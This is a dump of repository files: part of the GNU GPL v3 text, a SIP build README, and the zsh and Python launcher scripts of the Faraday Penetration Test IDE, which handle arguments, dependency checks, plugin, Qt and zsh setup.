218 b) The work must carry prominent notices stating that it is
219 released under this License and any conditions added under section
220 7. This requirement modifies the requirement in section 4 to
221 "keep intact all notices".
222
223 c) You must license the entire work, as a whole, under this
224 License to anyone who comes into possession of a copy. This
225 License will therefore apply, along with any applicable section 7
226 additional terms, to the whole of the work, and all its parts,
227 regardless of how they are packaged. This License gives no
228 permission to license the work in any other way, but it does not
229 invalidate such permission if you have separately received it.
230
231 d) If the work has interactive user interfaces, each must display
232 Appropriate Legal Notices; however, if the Program has interactive
233 interfaces that do not display Appropriate Legal Notices, your
234 work need not make them do so.
235
236 A compilation of a covered work with other separate and independent
237 works, which are not by their nature extensions of the covered work,
238 and which are not combined with it such as to form a larger program,
239 in or on a volume of a storage or distribution medium, is called an
240 "aggregate" if the compilation and its resulting copyright are not
241 used to limit the access or legal rights of the compilation's users
242 beyond what the individual works permit. Inclusion of a covered work
243 in an aggregate does not cause this License to apply to the other
244 parts of the aggregate.
245
246 6. Conveying Non-Source Forms.
247
248 You may convey a covered work in object code form under the terms
249 of sections 4 and 5, provided that you also convey the
250 machine-readable Corresponding Source under the terms of this License,
251 in one of these ways:
252
253 a) Convey the object code in, or embodied in, a physical product
254 (including a physical distribution medium), accompanied by the
255 Corresponding Source fixed on a durable physical medium
256 customarily used for software interchange.
257
258 b) Convey the object code in, or embodied in, a physical product
259 (including a physical distribution medium), accompanied by a
260 written offer, valid for at least three years and valid for as
261 long as you offer spare parts or customer support for that product
262 model, to give anyone who possesses the object code either (1) a
263 copy of the Corresponding Source for all the software in the
264 product that is covered by this License, on a durable physical
265 medium customarily used for software interchange, for a price no
266 more than your reasonable cost of physically performing this
267 conveying of source, or (2) access to copy the
268 Corresponding Source from a network server at no charge.
269
270 c) Convey individual copies of the object code with a copy of the
271 written offer to provide the Corresponding Source. This
272 alternative is allowed only occasionally and noncommercially, and
273 only if you received the object code with such an offer, in accord
274 with subsection 6b.
275
276 d) Convey the object code by offering access from a designated
277 place (gratis or for a charge), and offer equivalent access to the
278 Corresponding Source in the same way through the same place at no
279 further charge. You need not require recipients to copy the
280 Corresponding Source along with the object code. If the place to
281 copy the object code is a network server, the Corresponding Source
282 may be on a different server (operated by you or a third party)
283 that supports equivalent copying facilities, provided you maintain
284 clear directions next to the object code saying where to find the
285 Corresponding Source. Regardless of what server hosts the
286 Corresponding Source, you remain obligated to ensure that it is
287 available for as long as needed to satisfy these requirements.
288
289 e) Convey the object code using peer-to-peer transmission, provided
290 you inform other peers where the object code and Corresponding
291 Source of the work are being offered to the general public at no
292 charge under subsection 6d.
293
294 A separable portion of the object code, whose source code is excluded
295 from the Corresponding Source as a System Library, need not be
296 included in conveying the object code work.
297
298 A "User Product" is either (1) a "consumer product", which means any
299 tangible personal property which is normally used for personal, family,
300 or household purposes, or (2) anything designed or sold for incorporation
301 into a dwelling. In determining whether a product is a consumer product,
302 doubtful cases shall be resolved in favor of coverage. For a particular
303 product received by a particular user, "normally used" refers to a
304 typical or common use of that class of product, regardless of the status
305 of the particular user or of the way in which the particular user
306 actually uses, or expects or is expected to use, the product. A product
307 is a consumer product regardless of whether the product has substantial
308 commercial, industrial or non-consumer uses, unless such uses represent
309 the only significant mode of use of the product.
310
311 "Installation Information" for a User Product means any methods,
312 procedures, authorization keys, or other information required to install
313 and execute modified versions of a covered work in that User Product from
314 a modified version of its Corresponding Source. The information must
315 suffice to ensure that the continued functioning of the modified object
316 code is in no case prevented or interfered with solely because
317 modification has been made.
318
319 If you convey an object code work under this section in, or with, or
320 specifically for use in, a User Product, and the conveying occurs as
321 part of a transaction in which the right of possession and use of the
322 User Product is transferred to the recipient in perpetuity or for a
323 fixed term (regardless of how the transaction is characterized), the
324 Corresponding Source conveyed under this section must be accompanied
325 by the Installation Information. But this requirement does not apply
326 if neither you nor any third party retains the ability to install
327 modified object code on the User Product (for example, the work has
328 been installed in ROM).
329
330 The requirement to provide Installation Information does not include a
331 requirement to continue to provide support service, warranty, or updates
332 for a work that has been modified or installed by the recipient, or for
333 the User Product in which it has been modified or installed. Access to a
334 network may be denied when the modification itself materially and
335 adversely affects the operation of the network or violates the rules and
336 protocols for communication across the network.
337
338 Corresponding Source conveyed, and Installation Information provided,
339 in accord with this section must be in a format that is publicly
340 documented (and with an implementation available to the public in
341 source code form), and must require no special password or key for
342 unpacking, reading or copying.
343
344 7. Additional Terms.
345
346 "Additional permissions" are terms that supplement the terms of this
347 License by making exceptions from one or more of its conditions.
348 Additional permissions that are applicable to the entire Program shall
349 be treated as though they were included in this License, to the extent
350 that they are valid under applicable law. If additional permissions
351 apply only to part of the Program, that part may be used separately
352 under those permissions, but the entire Program remains governed by
353 this License without regard to the additional permissions.
354
355 When you convey a copy of a covered work, you may at your option
356 remove any additional permissions from that copy, or from any part of
357 it. (Additional permissions may be written to require their own
358 removal in certain cases when you modify the work.) You may place
359 additional permissions on material, added by you to a covered work,
360 for which you have or can give appropriate copyright permission.
361
362 Notwithstanding any other provision of this License, for material you
363 add to a covered work, you may (if authorized by the copyright holders of
364 that material) supplement the terms of this License with terms:
365
366 a) Disclaiming warranty or limiting liability differently from the
367 terms of sections 15 and 16 of this License; or
368
369 b) Requiring preservation of specified reasonable legal notices or
370 author attributions in that material or in the Appropriate Legal
371 Notices displayed by works containing it; or
372
373 c) Prohibiting misrepresentation of the origin of that material, or
374 requiring that modified versions of such material be marked in
375 reasonable ways as different from the original version; or
376
377 d) Limiting the use for publicity purposes of names of licensors or
378 authors of the material; or
379
380 e) Declining to grant rights under trademark law for use of some
381 trade names, trademarks, or service marks; or
382
383 f) Requiring indemnification of licensors and authors of that
384 material by anyone who conveys the material (or modified versions of
385 it) with contractual assumptions of liability to the recipient, for
386 any liability that these contractual assumptions directly impose on
387 those licensors and authors.
388
389 All other non-permissive additional terms are considered "further
390 restrictions" within the meaning of section 10. If the Program as you
391 received it, or any part of it, contains a notice stating that it is
392 governed by this License along with a term that is a further
393 restriction, you may remove that term. If a license document contains
394 a further restriction but permits relicensing or conveying under this
395 License, you may add to a covered work material governed by the terms
396 of that license document, provided that the further restriction does
397 not survive such relicensing or conveying.
398
399 If you add terms to a covered work in accord with this section, you
400 must place, in the relevant source files, a statement of the
401 additional terms that apply to those files, or a notice indicating
402 where to find the applicable terms.
403
404 Additional terms, permissive or non-permissive, may be stated in the
405 form of a separately written license, or stated as exceptions;
406 the above requirements apply either way.
407
408 8. Termination.
409
410 You may not propagate or modify a covered work except as expressly
411 provided under this License. Any attempt otherwise to propagate or
412 modify it is void, and will automatically terminate your rights under
413 this License (including any patent licenses granted under the third
414 paragraph of section 11).
415
416 However, if you cease all violation of this License, then your
417 license from a particular copyright holder is reinstated (a)
418 provisionally, unless and until the copyright holder explicitly and
419 finally terminates your license, and (b) permanently, if the copyright
420 holder fails to notify you of the violation by some reasonable means
421 prior to 60 days after the cessation.
422
423 Moreover, your license from a particular copyright holder is
424 reinstated permanently if the copyright holder notifies you of the
425 violation by some reasonable means, this is the first time you have
426 received notice of violation of this License (for any work) from that
427 copyright holder, and you cure the violation prior to 30 days after
428 your receipt of the notice.
429
430 Termination of your rights under this section does not terminate the
431 licenses of parties who have received copies or rights from you under
432 this License. If your rights have been terminated and not permanently
433 reinstated, you do not qualify to receive new licenses for the same
434 material under section 10.
435
436 9. Acceptance Not Required for Having Copies.
437
438 You are not required to accept this License in order to receive or
439 run a copy of the Program. Ancillary propagation of a covered work
440 occurring solely as a consequence of using peer-to-peer transmission
441 to receive a copy likewise does not require acceptance. However,
442 nothing other than this License grants you permission to propagate or
443 modify any covered work. These actions infringe copyright if you do
444 not accept this License. Therefore, by modifying or propagating a
445 covered work, you indicate your acceptance of this License to do so.
446
447 10. Automatic Licensing of Downstream Recipients.
448
449 Each time you convey a covered work, the recipient automatically
450 receives a license from the original licensors, to run, modify and
451 propagate that work, subject to this License. You are not responsible
452 for enforcing compliance by third parties with this License.
453
454 An "entity transaction" is a transaction transferring control of an
455 organization, or substantially all assets of one, or subdividing an
456 organization, or merging organizations. If propagation of a covered
457 work results from an entity transaction, each party to that
458 transaction who receives a copy of the work also receives whatever
459 licenses to the work the party's predecessor in interest had or could
460 give under the previous paragraph, plus a right to possession of the
461 Corresponding Source of the work from the predecessor in interest, if
462 the predecessor has it or can get it with reasonable efforts.
463
464 You may not impose any further restrictions on the exercise of the
465 rights granted or affirmed under this License. For example, you may
466 not impose a license fee, royalty, or other charge for exercise of
467 rights granted under this License, and you may not initiate litigation
468 (including a cross-claim or counterclaim in a lawsuit) alleging that
469 any patent claim is infringed by making, using, selling, offering for
470 sale, or importing the Program or any portion of it.
471
472 11. Patents.
473
474 A "contributor" is a copyright holder who authorizes use under this
475 License of the Program or a work on which the Program is based. The
476 work thus licensed is called the contributor's "contributor version".
477
478 A contributor's "essential patent claims" are all patent claims
479 owned or controlled by the contributor, whether already acquired or
480 hereafter acquired, that would be infringed by some manner, permitted
481 by this License, of making, using, or selling its contributor version,
482 but do not include claims that would be infringed only as a
483 consequence of further modification of the contributor version. For
484 purposes of this definition, "control" includes the right to grant
485 patent sublicenses in a manner consistent with the requirements of
486 this License.
487
488 Each contributor grants you a non-exclusive, worldwide, royalty-free
489 patent license under the contributor's essential patent claims, to
490 make, use, sell, offer for sale, import and otherwise run, modify and
491 propagate the contents of its contributor version.
492
493 In the following three paragraphs, a "patent license" is any express
494 agreement or commitment, however denominated, not to enforce a patent
495 (such as an express permission to practice a patent or covenant not to
496 sue for patent infringement). To "grant" such a patent license to a
497 party means to make such an agreement or commitment not to enforce a
498 patent against the party.
499
500 If you convey a covered work, knowingly relying on a patent license,
501 and the Corresponding Source of the work is not available for anyone
502 to copy, free of charge and under the terms of this License, through a
503 publicly available network server or other readily accessible means,
504 then you must either (1) cause the Corresponding Source to be so
505 available, or (2) arrange to deprive yourself of the benefit of the
506 patent license for this particular work, or (3) arrange, in a manner
507 consistent with the requirements of this License, to extend the patent
508 license to downstream recipients. "Knowingly relying" means you have
509 actual knowledge that, but for the patent license, your conveying the
510 covered work in a country, or your recipient's use of the covered work
511 in a country, would infringe one or more identifiable patents in that
512 country that you have reason to believe are valid.
513
514 If, pursuant to or in connection with a single transaction or
515 arrangement, you convey, or propagate by procuring conveyance of, a
516 covered work, and grant a patent license to some of the parties
517 receiving the covered work authorizing them to use, propagate, modify
518 or convey a specific copy of the covered work, then the patent license
519 you grant is automatically extended to all recipients of the covered
520 work and works based on it.
521
522 A patent license is "discriminatory" if it does not include within
523 the scope of its coverage, prohibits the exercise of, or is
524 conditioned on the non-exercise of one or more of the rights that are
525 specifically granted under this License. You may not convey a covered
526 work if you are a party to an arrangement with a third party that is
527 in the business of distributing software, under which you make payment
528 to the third party based on the extent of your activity of conveying
529 the work, and under which the third party grants, to any of the
530 parties who would receive the covered work from you, a discriminatory
531 patent license (a) in connection with copies of the covered work
532 conveyed by you (or copies made from those copies), or (b) primarily
533 for and in connection with specific products or compilations that
534 contain the covered work, unless you entered into that arrangement,
535 or that patent license was granted, prior to 28 March 2007.
536
537 Nothing in this License shall be construed as excluding or limiting
538 any implied license or other defenses to infringement that may
539 otherwise be available to you under applicable patent law.
540
541 12. No Surrender of Others' Freedom.
542
543 If conditions are imposed on you (whether by court order, agreement or
544 otherwise) that contradict the conditions of this License, they do not
545 excuse you from the conditions of this License. If you cannot convey a
546 covered work so as to satisfy simultaneously your obligations under this
547 License and any other pertinent obligations, then as a consequence you may
548 not convey it at all. For example, if you agree to terms that obligate you
549 to collect a royalty for further conveying from those to whom you convey
550 the Program, the only way you could satisfy both those terms and this
551 License would be to refrain entirely from conveying the Program.
552
553 13. Use with the GNU Affero General Public License.
554
555 Notwithstanding any other provision of this License, you have
556 permission to link or combine any covered work with a work licensed
557 under version 3 of the GNU Affero General Public License into a single
558 combined work, and to convey the resulting work. The terms of this
559 License will continue to apply to the part which is the covered work,
560 but the special requirements of the GNU Affero General Public License,
561 section 13, concerning interaction through a network will apply to the
562 combination as such.
563
564 14. Revised Versions of this License.
565
566 The Free Software Foundation may publish revised and/or new versions of
567 the GNU General Public License from time to time. Such new versions will
568 be similar in spirit to the present version, but may differ in detail to
569 address new problems or concerns.
570
571 Each version is given a distinguishing version number. If the
572 Program specifies that a certain numbered version of the GNU General
573 Public License "or any later version" applies to it, you have the
574 option of following the terms and conditions either of that numbered
575 version or of any later version published by the Free Software
576 Foundation. If the Program does not specify a version number of the
577 GNU General Public License, you may choose any version ever published
578 by the Free Software Foundation.
579
580 If the Program specifies that a proxy can decide which future
581 versions of the GNU General Public License can be used, that proxy's
582 public statement of acceptance of a version permanently authorizes you
583 to choose that version for the Program.
584
585 Later license versions may give you additional or different
586 permissions. However, no additional obligations are imposed on any
587 author or copyright holder as a result of your choosing to follow a
588 later version.
589
590 15. Disclaimer of Warranty.
591
592 THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
593 APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
594 HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
595 OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
596 THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
597 PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
598 IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
599 ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
600
601 16. Limitation of Liability.
602
603 IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
604 WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
605 THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
606 GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
607 USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
608 DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
609 PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
610 EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
611 SUCH DAMAGES.
612
613 17. Interpretation of Sections 15 and 16.
614
615 If the disclaimer of warranty and limitation of liability provided
616 above cannot be given local legal effect according to their terms,
617 reviewing courts shall apply local law that most closely approximates
618 an absolute waiver of all civil liability in connection with the
619 Program, unless a warranty or assumption of liability accompanies a
620 copy of the Program in return for a fee.
621
622 END OF TERMS AND CONDITIONS
623
624 How to Apply These Terms to Your New Programs
625
626 If you develop a new program, and you want it to be of the greatest
627 possible use to the public, the best way to achieve this is to make it
628 free software which everyone can redistribute and change under these terms.
629
630 To do so, attach the following notices to the program. It is safest
631 to attach them to the start of each source file to most effectively
632 state the exclusion of warranty; and each file should have at least
633 the "copyright" line and a pointer to where the full notice is found.
634
635 <one line to give the program's name and a brief idea of what it does.>
636 Copyright (C) <year> <name of author>
637
638 This program is free software: you can redistribute it and/or modify
639 it under the terms of the GNU General Public License as published by
640 the Free Software Foundation, either version 3 of the License, or
641 (at your option) any later version.
642
643 This program is distributed in the hope that it will be useful,
644 but WITHOUT ANY WARRANTY; without even the implied warranty of
645 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
646 GNU General Public License for more details.
647
648 You should have received a copy of the GNU General Public License
649 along with this program. If not, see <http://www.gnu.org/licenses/>.
650
651 Also add information on how to contact you by electronic and paper mail.
652
653 If the program does terminal interaction, make it output a short
654 notice like this when it starts in an interactive mode:
655
656 <program> Copyright (C) <year> <name of author>
657 This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
658 This is free software, and you are welcome to redistribute it
659 under certain conditions; type `show c' for details.
660
661 The hypothetical commands `show w' and `show c' should show the appropriate
662 parts of the General Public License. Of course, your program's commands
663 might be different; for a GUI interface, you would use an "about box".
664
665 You should also get your employer (if you work as a programmer) or school,
666 if any, to sign a "copyright disclaimer" for the program, if necessary.
667 For more information on this, and how to apply and follow the GNU GPL, see
668 <http://www.gnu.org/licenses/>.
669
670 The GNU General Public License does not permit incorporating your program
671 into proprietary programs. If your program is a subroutine library, you
672 may consider it more useful to permit linking proprietary applications with
673 the library. If this is what you want to do, use the GNU Lesser General
674 Public License instead of this License. But first, please read
675 <http://www.gnu.org/philosophy/why-not-lgpl.html>.
676
677 -------------------------------------------------------------------------
0 SIP - C/C++ Bindings Generator for Python v2 and v3
1 ===================================================
2
3 The SIP documentation (including installation instructions) can be found in the
4 ``doc`` directory.
5
6
7 Building from the Mercurial Repository
8 --------------------------------------
9
10 If you are using a copy of SIP cloned from the Mercurial repository, or are
11 using a Mercurial archive, then you have to prepare it first before you follow
12 the normal installation instructions.
13
14 The preparation is done using the ``build.py`` script which can be found in the
15 same directory as this ``README`` file. If it isn't there then you probably
16 have a packaged release and should just follow the normal installation
17 instructions.
18
19 The ``build.py`` script requires that ``flex`` and ``bison``, and the Mercurial
20 Python bindings are installed. If you want to create the HTML documentation
21 then Sphinx must also be installed.
22
23 To prepare run the following::
24
25 python build.py prepare
26
27 Note that ``build.py`` is a Python v2 script.
28
29 Now you can follow the normal installation instructions.
30
31 The ``build.py`` script has other useful commands, use the ``--help`` option to
32 see the details.
0 #!/bin/zsh
1
2 ###
3 ## Faraday Penetration Test IDE - Community Version
4 ## Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 ## See the file 'doc/LICENSE' for the license information
6 ###
7
8 #ZDOTDIR="~/.faraday/zsh/" /bin/zsh
9 FARADAYZDOTDIR="$HOME/.faraday/zsh/"
10 OLDZDOTDIR=$ZDOTDIR
11 ZDOTDIR=$FARADAYZDOTDIR /bin/zsh
12 #source ~/.faraday/zsh/.zshrc
0 #!/usr/bin/env python2.7
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2014 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 # TODO:
9 # - Handle requirements dinamically?
10 # - Additionally parse arguments from file.
11
12
13 import os
14 import sys
15 import shutil
16 import argparse
17 import platform
18 import subprocess
19 import pip
20
21 from utils.logs import getLogger
22 sys.path.insert(0, os.path.dirname(os.path.realpath(__file__))) # Necessary?
23 from config.configuration import getInstanceConfiguration
24 from config.globals import *
25 from utils.profilehooks import profile
26
27
28 QTDIR='/usr/local/qt'
29 PATH='%s/bin:%s' %(QTDIR, os.environ['PATH'])
30 MANPATH='%s/doc/man' % QTDIR
31 LD_LIBRARY_PATH='%s/lib:%s' % (QTDIR, os.environ.get('LD_LIBRARY_PATH', ''))
32
33 libs_exports = {
34 'QTDIR': QTDIR,
35 'PATH': PATH,
36 'MANPATH': MANPATH,
37 'LD_LIBRARY_PATH': LD_LIBRARY_PATH
38 }
39
40 os.environ.update(libs_exports)
41
42 USER_HOME = os.path.expanduser(CONST_USER_HOME)
43 FARADAY_BASE = os.path.dirname(os.path.realpath(__file__))
44
45 FARADAY_USER_HOME = os.path.expanduser(CONST_FARADAY_HOME_PATH)
46 FARADAY_PLUGINS_PATH = os.path.join(FARADAY_USER_HOME,
47 CONST_FARADAY_PLUGINS_PATH)
48 FARADAY_PLUGINS_BASEPATH = os.path.join(FARADAY_BASE,
49 CONST_FARADAY_PLUGINS_REPO_PATH)
50
51 FARADAY_BASE_LIB_HELPERS = os.path.join(FARADAY_BASE,
52 CONST_FARADAY_LIB_HELPERS)
53
54 FARADAY_BASE_IMAGES = os.path.join(FARADAY_BASE, "data",
55 CONST_FARADAY_IMAGES)
56
57 FARADAY_USER_CONFIG_XML = os.path.join(FARADAY_USER_HOME,
58 CONST_FARADAY_USER_CFG)
59 FARADAY_BASE_CONFIG_XML = os.path.join(FARADAY_BASE,
60 CONST_FARADAY_BASE_CFG)
61
62 USER_ZSHRC = os.path.expanduser(CONST_USER_ZSHRC)
63 FARADAY_USER_IMAGES = os.path.join(FARADAY_USER_HOME,
64 CONST_FARADAY_IMAGES)
65 FARADAY_USER_ZSHRC = os.path.join(FARADAY_USER_HOME, CONST_FARADAY_ZSHRC)
66 FARADAY_USER_ZSH_PATH = os.path.join(FARADAY_USER_HOME, CONST_ZSH_PATH)
67 FARADAY_BASE_ZSH = os.path.join(FARADAY_BASE, CONST_FARADAY_ZSH_FARADAY)
68 FARADAY_BASE_ZSH_PLUGIN = os.path.join(FARADAY_BASE,
69 CONST_FARADAY_ZSH_PLUGIN)
70
71 USER_QT = os.path.expanduser(CONST_USER_QT_PATH)
72 USER_QTRC = os.path.expanduser(CONST_USER_QTRC_PATH)
73 USER_QTRCBAK = os.path.expanduser(CONST_USER_QTRC_BACKUP)
74 FARADAY_QTRC = os.path.join(FARADAY_BASE, CONST_FARADAY_QTRC_PATH)
75 FARADAY_QTRCBAK = os.path.expanduser(CONST_FARADAY_QTRC_BACKUP)
76
77 def getParserArgs():
78 """Parser setup for faraday launcher arguments.
79
80 """
81
82 parser = argparse.ArgumentParser(
83 description="Faraday's launcher parser.",
84 fromfile_prefix_chars='@')
85
86 parser_connection = parser.add_argument_group('connection')
87 parser_profile = parser.add_argument_group('profiling')
88 parser_gui_ex = parser.add_mutually_exclusive_group()
89
90 parser_connection.add_argument('-n', '--hostname', action="store",
91 dest="host",
92 default="localhost",
93 help="The hostname where api XMLRPCServer will listen. \
94 Default = localhost")
95
96 parser_connection.add_argument('-p', '--port', action="store", dest="port",
97 default=9876, type=int,
98 help="Sets the port where api XMLRPCServer will listen. Default = 9876")
99
100 parser.add_argument('-d', '--debug', action="store_true", dest="debug",
101 default=False,
102 help="Enables debug mode. Default = disabled")
103
104 parser_profile.add_argument('--profile', action="store_true",
105 dest="profile",
106 default=False,
107 help="Enables application profiling. When this option is used \
108 --profile-output and --profile-depth can also be used. \
109 Default = disabled")
110
111 parser_profile.add_argument('--profile-output', action="store",
112 dest="profile_output",
113 default=None,
114 help="Sets the profile output filename. If no value is provided, \
115 standard output will be used")
116
117 parser_profile.add_argument('--profile-depth', action="store",
118 dest="profile_depth", type=int,
119 default=500,
120 help="Sets the profile number of entries (depth). Default = 500")
121
122 parser.add_argument('--disable-excepthook', action="store_true",
123 dest="disable_excepthook",
124 default=False,
125 help="Disable the application exception hook that allows to send error \
126 reports to developers.")
127
128 parser.add_argument('--disable-login', action="store_true",
129 dest="disable_login",
130 default=False,
131 help="Disable the auth splash screen.")
132
133 parser.add_argument('--dev-mode', action="store_true", dest="dev_mode",
134 default=False,
135 help="Enable dev mode. This will reset config and plugin folders.")
136
137 parser.add_argument('--ignore-deps', action="store_true",
138 dest="ignore_deps",
139 default=False,
140 help="Ignore python dependencies resolution.")
141
142 parser.add_argument('--update', action="store_true", dest="update",
143 default=False,
144 help="Update Faraday IDE.")
145
146 parser_gui_ex.add_argument('--gui', action="store", dest="gui",
147 default="qt3",
148 help="Select interface to start faraday. Default = qt3")
149
150 parser_gui_ex.add_argument('--cli', '--console', action="store_true",
151 dest="cli",
152 default="false",
153 help="Set this flag to avoid gui and use faraday as a cli.")
154
155 #args = parser.parse_args(['@parser_args.cfg'])
156 return parser.parse_args()
157
158 def query_user_bool(question, default=True):
159 """Returns a boolean based on user input.
160
161 "question" is a string that is presented to the user.
162 "default" is the presumed answer if the user just hits <Enter>.
163 It must be True (the default), False or None (meaning
164 an answer is required of the user).
165
166 The "answer" return value is one of True or False.
167
168 """
169
170 valid_yes_ans = ["yes", "y"]
171 valid_no_ans = ["no", "n"]
172
173 if default is None:
174 prompt = " [y/n] "
175 elif default:
176 prompt = " [Y/n] "
177 else:
178 prompt = " [y/N] "
179
180 while True:
181 sys.stdout.write(question + prompt)
182 choice = raw_input().lower()
183
184 if default is not None and choice == '':
185 return default
186
187 if choice in valid_yes_ans:
188 return True
189
190 if choice in valid_no_ans:
191 return False
192
193 sys.stdout.write("Please respond with 'yes' or 'no' "\
194 "(or 'y' or 'n').\n")
195
196
197 def checkDependencies():
198 """Dependency resolver based on a previously specified CONST_REQUIREMENTS_FILE.
199
200 Currently checks a list of dependencies from a file and asks for user
201 confirmation on whether to install it with a specific version or not.
202
203 """
204
205 if not args.ignore_deps:
206
207 modules = []
208 f = open(CONST_REQUIREMENTS_FILE)
209 for line in f:
210 if line.find('#'):
211 modules.append([line[:line.index('=')], (line[line.index('=')+2:]).strip()])
212 f.close()
213
214 for module in modules:
215 try:
216 __import__(module[0])
217 except ImportError:
218 if query_user_bool("Missing module %s." \
219 " Do you wish to install it?" % module[0]):
220 pip.main(['install', "%s==%s" %
221 (module[0], module[1]), '--user'])
222
223 else:
224 return False
225
226 return True
227
228
229 def startProfiler(app, output, depth):
230 """Profiler handler.
231
232 Will start a profiler on the given application in a specified output with
233 a custom depth.
234
235 TODO: Check if it's necessary to add a dummy in case o failed import.
236
237 """
238
239 logger.warning("[!] Faraday will be started with a profiler attached." \
240 "Performance may be affected.")
241
242 start = profile(app,
243 filename=output,
244 entries=depth)
245 return start
246
247 def setConf():
248 """User configuration management and instantiation.
249
250 Setting framework configuration based either on previously user saved
251 settings or default ones.
252
253 """
254
255 logger.info("Setting configuration.")
256
257 CONF = getInstanceConfiguration()
258 CONF.setDebugStatus(args.debug)
259 if args.host != 'localhost':
260 CONF.setApiConInfoHost(args.host)
261 if args.port != 9876:
262 CONF.setApiConInfoPort(args.port)
263 CONF.setAuth(args.disable_login)
264
265
266 def startFaraday():
267 """Application startup.
268
269 Starts a MainApplication with the previously parsed arguments, and handles
270 a profiler if requested.
271
272 Returns application status.
273
274 """
275 from model.application import MainApplication
276
277 logger.info("All done. Opening environment.")
278 #TODO: Handle args in CONF and send only necessary ones.
279 main_app = MainApplication(args)
280
281 if not args.disable_excepthook:
282 logger.warning("Main application ExceptHook enabled.")
283 main_app.enableExceptHook()
284
285 if args.profile:
286 logger.info("Starting main application with profiler.")
287 start = startProfiler(
288 main_app.start,
289 args.profile_output,
290 args.profile_depth)
291 else:
292 logger.info("Starting main application.")
293 start = main_app.start
294 from colorama import Fore, Back, Style
295 import string
296 couchURL = getInstanceConfiguration().getCouchURI()
297 if couchURL:
298 url = "%s/reports/_design/reports/index.html" % couchURL
299 print(Fore.WHITE + Style.BRIGHT + \
300 "\n*" + string.center("faraday ui is ready", 53 - 6) )
301 print(Fore.WHITE + Style.BRIGHT + \
302 """Make sure you got couchdb up and running.\nIf couchdb is up, point your browser to: \n[%s]""" % url)
303 else:
304 print(Fore.WHITE + Style.BRIGHT + \
305 """Please config Couchdb for fancy HTML5 Dashboard""")
306
307 print(Fore.RESET + Back.RESET + Style.RESET_ALL)
308
309 exit_status = start()
310 restoreQtrc()
311
312 return exit_status
313
314 def setupPlugins(dev_mode=False):
315 """Checks and handles Faraday's plugin status.
316
317 When dev_mode is True, the user enters in development mode and the plugins
318 will be replaced with the latest ones.
319
320 Otherwise, it checks if the plugin folders exists or not, and creates it
321 with its content.
322
323 TODO: When dependencies are not satisfied ask user if he wants to try and
324 run faraday with a inestability warning.
325
326 """
327
328 if not dev_mode and os.path.isdir(FARADAY_PLUGINS_PATH):
329 logger.info("Plugins already in place.")
330 else:
331 if dev_mode:
332 logger.warning("Running under plugin development mode!")
333 shutil.rmtree(FARADAY_PLUGINS_PATH)
334 else:
335 logger.warning("No plugins folder detected. Creating new one.")
336
337 shutil.copytree(FARADAY_PLUGINS_BASEPATH, FARADAY_PLUGINS_PATH)
338
339 def setupQtrc():
340 """Cheks and handles QT configuration file.
341
342 Existing qtrc files will be backed up and faraday qtrc will be set.
343
344 """
345
346 if os.path.isfile(USER_QTRC):
347 shutil.copy2(USER_QTRC, USER_QTRCBAK)
348
349 if os.path.isfile(FARADAY_QTRCBAK):
350 shutil.copy(FARADAY_QTRCBAK, USER_QTRC)
351 else:
352 if not os.path.exists(USER_QT):
353 os.makedirs(USER_QT)
354 shutil.copy(FARADAY_QTRC, USER_QTRC)
355 shutil.copy(FARADAY_QTRC, FARADAY_QTRCBAK)
356
357 def restoreQtrc():
358 """Restores user qtrc.
359
360 After exiting faraday the original qtrc is restored.
361
362 """
363
364 logger.info("Restoring user Qt configuration.")
365 shutil.copy2(USER_QTRC, FARADAY_QTRCBAK)
366 if os.path.isfile(USER_QTRCBAK):
367 shutil.copy(USER_QTRCBAK, USER_QTRC)
368
369
370 def setupZSH():
371 """Cheks and handles Faraday's integration with ZSH.
372
373 If the user has a .zshrc file, it gets copied and integrated with
374 faraday's zsh plugin.
375
376 """
377
378 if os.path.isfile(USER_ZSHRC):
379 shutil.copy(USER_ZSHRC, FARADAY_USER_ZSHRC)
380 else:
381 subprocess.call(['touch', FARADAY_USER_ZSHRC])
382
383 subprocess.call(['sed', '-i', '1iZDOTDIR=$OLDZDOTDIR', FARADAY_USER_ZSHRC])
384 with open(FARADAY_USER_ZSHRC, "a") as f:
385 f.write("source %s" % FARADAY_BASE_ZSH)
386 shutil.copy(FARADAY_BASE_ZSH, FARADAY_USER_ZSH_PATH)
387 shutil.copy(FARADAY_BASE_ZSH_PLUGIN, FARADAY_USER_ZSH_PATH)
388
389 def setupXMLConfig():
390 """Checks user configuration file status.
391
392 If there is no custom config the default one will be copied as a default.
393 """
394
395 if not os.path.isfile(FARADAY_USER_CONFIG_XML):
396 logger.info("Copying default configuration from project.")
397 shutil.copy(FARADAY_BASE_CONFIG_XML, FARADAY_USER_CONFIG_XML)
398 else:
399 logger.info("Using custom user configuration.")
400
401 def setupLibs():
402 """Checks ELF libraries status."
403
404 Right now it only looks for the right helpers.so from the base path based on
405 system platform and architecture, and creates a symbolic link to it inside
406 the same folder.
407
408 """
409
